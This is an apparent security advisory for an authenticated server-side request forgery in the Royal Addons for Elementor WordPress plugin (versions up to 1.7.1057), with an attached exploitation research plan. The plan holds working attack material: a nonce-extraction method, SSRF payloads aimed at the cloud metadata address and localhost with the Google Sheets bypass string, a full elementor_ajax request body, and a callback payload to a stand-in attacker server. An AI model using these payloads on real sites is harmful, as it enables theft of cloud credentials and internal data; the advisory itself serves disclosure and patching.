Royal Addons for Elementor <= 1.7.1057 - Authenticated (Contributor+) Server-Side Request Forgery via CSV URL Parameter
Description
The Royal Elementor Addons plugin for WordPress is vulnerable to Server-Side Request Forgery in versions up to, and including, 1.7.1057. This is due to insufficient validation of user-supplied URLs in the render_csv_data() function, which can be bypassed by including 'docs.google.com/spreadsheets' in a query parameter, and the subsequent use of these URLs in fopen() calls without blocking internal or private network addresses. This makes it possible for authenticated attackers, with Contributor-level access and above, to make requests to arbitrary URLs and retrieve sensitive information from internal services.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.7.1057What Changed in the Fix
Changes introduced in v1.7.1058
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-6229 ## 1. Vulnerability Summary The **Royal Addons for Elementor** plugin (versions <= 1.7.1057) contains a Server-Side Request Forgery (SSRF) vulnerability in its **Data Table** widget. The vulnerability exists in the `render_csv_data()` function (located in…
Show full research plan
Exploitation Research Plan: CVE-2026-6229
1. Vulnerability Summary
The Royal Addons for Elementor plugin (versions <= 1.7.1057) contains a Server-Side Request Forgery (SSRF) vulnerability in its Data Table widget. The vulnerability exists in the render_csv_data() function (located in modules/data-table/widgets/wpr-data-table.php).
The plugin attempts to validate that a user-provided CSV URL is hosted on Google Sheets by checking for the string docs.google.com/spreadsheets. However, this check is insufficient as it can be bypassed by appending the string as a query parameter to an arbitrary URL. The plugin then passes this URL to fopen(), allowing an authenticated attacker (Contributor+) to make requests to internal network resources and potentially retrieve sensitive data.
2. Attack Vector Analysis
- Endpoint:
POST /wp-admin/admin-ajax.php(via Elementor'srender_widgetoreditor_saveactions) or via the frontend by viewing a post containing the widget. - Vulnerable Action:
elementor_ajax(standard Elementor AJAX handler). - Vulnerable Parameter:
settings[csv_url](or similar setting name for the CSV data source in thewpr-data-tablewidget). - Authentication: Authenticated (Contributor level or higher) is required to edit posts and add widgets.
- Preconditions: The "Data Table" widget must be added to an Elementor-enabled post/page, and the "Data Type" (
choose_table_type) must be set to the CSV option (internal IDpro-cv).
3. Code Flow
- Entry Point: A user with Contributor+ permissions edits an Elementor page or sends a direct AJAX request to render a widget.
- Widget Execution: The
Wpr_Data_Tableclass (inmodules/data-table/widgets/wpr-data-table.php) is instantiated. - Render Logic: The
render()method is called. If thechoose_table_typesetting is set topro-cv, it invokesrender_csv_data(). - Vulnerable Function:
render_csv_data($settings)(inferred function name from description). - Insufficient Validation:
// Conceptual logic based on vulnerability description $url = $settings['csv_url']; if ( strpos( $url, 'docs.google.com/spreadsheets' ) !== false ) { $handle = fopen( $url, 'r' ); // SSRF Sink // ... processing CSV data } - SSRF Sink:
fopen($url, 'r')is called with the attacker-controlled URL. Since internal IPs are not blocked, the request is made by the server.
4. Nonce Acquisition Strategy
Elementor uses its own AJAX infrastructure. To interact with the Elementor editor API as a Contributor:
- Create Page: Use WP-CLI to create a page with Elementor enabled or simply a page where we can edit.
wp post create --post_type=page --post_title="SSRF Lab" --post_status=publish --post_author=CONTRIBUTOR_ID - Access Editor: Navigate to the Elementor editor URL for that page:
/wp-admin/post.php?post=POST_ID&action=elementor. - Extract Nonce: Elementor stores its AJAX nonce in the
elementorCommonorelementorConfigobject.- Use
browser_eval:window.elementorConfig?.ajax?.nonceorwindow.elementorCommon?.config?.ajax?.nonce.
- Use
- Alternative: If exploiting via the
render_widgetaction, the nonce is often found in the page source of the editor.
5. Exploitation Strategy
Step 1: Craft the SSRF Payload
To bypass the domain check, append the required string as a parameter:
- Target: Internal Metadata Service (e.g.,
http://169.254.169.254/latest/meta-data/) - Payload:
http://169.254.169.254/latest/meta-data/?x=docs.google.com/spreadsheets - Target (Local):
http://127.0.0.1:80/wp-admin/ - Payload:
http://127.0.0.1:80/wp-admin/?docs.google.com/spreadsheets
Step 2: Trigger SSRF via Elementor AJAX
We will use the elementor_ajax action to force the server to render the widget with our malicious settings.
Request:
- URL:
http://TARGET/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
action=elementor_ajax& actions={"render_widget":{"action":"render_widget","data":{"editorPostId":POST_ID,"widgetId":"random-id","model":{"id":"random-id","elType":"widget","widgetType":"wpr-data-table","settings":{"choose_table_type":"pro-cv","csv_url":"http://127.0.0.1:80/wp-admin/?docs.google.com/spreadsheets"}}}}}& _nonce=EXTRACTED_NONCE
Step 3: Capture Response
The plugin will attempt to parse the response from 127.0.0.1 as a CSV. If the internal service returns content, it may be reflected in the AJAX response under the render_widget data key, likely inside an HTML <table> structure.
6. Test Data Setup
- Plugin Installation: Ensure
royal-elementor-addonsv1.7.1057 is installed. - User Creation: Create a Contributor user.
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Internal Target: Ensure there is an internal service to hit (e.g., a simple local listener or the default WordPress login page on
127.0.0.1).
7. Expected Results
- Success: The server response contains the HTML/content of the internal URL provided in
csv_url, attempted to be rendered as table cells. For example, if hitting a local web server, you might see fragments of HTML within<td>tags in the JSON response. - Verification: The HTTP logs of the internal service (if accessible) should show a request originating from the WordPress server's IP with the User-Agent associated with PHP's
fopen(often empty or the server's default).
8. Verification Steps
- Monitor Outbound Traffic: Use a tool like
tcpdumpor a webhook service (e.g.,webhook.site) if testing external SSRF.- Payload:
http://ATTACKER_SERVER/?docs.google.com/spreadsheets
- Payload:
- Check Table Output: Use
wp_clito check the post content if the widget was saved:wp post get POST_ID --field=post_content - Error Logs: Check
wp-content/debug.log. If the internal service doesn't return valid CSV data,fgetcsv()might trigger warnings visible in the log.
9. Alternative Approaches
- Save and View: Instead of the
render_widgetAJAX action, use theeditor_save_builderaction to save the malicious settings to a post, then view the post on the frontend as an unauthenticated user (if published) to see if the SSRF triggers and renders data. - Protocol Smuggling: If
fopenis used, check if other wrappers likephp://filterare allowed (thoughstrposusually restricts this unless the attacker finds a clever way to include the Google string). - Pro Bypass: If the "Pro" check is enforced server-side, the attacker may need to find a way to set the
choose_table_typetopro-cvby manipulating the JSON payload sent to the Elementorsave_builderaction, as the server-side code for rendering CSVs is often present in the free version.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.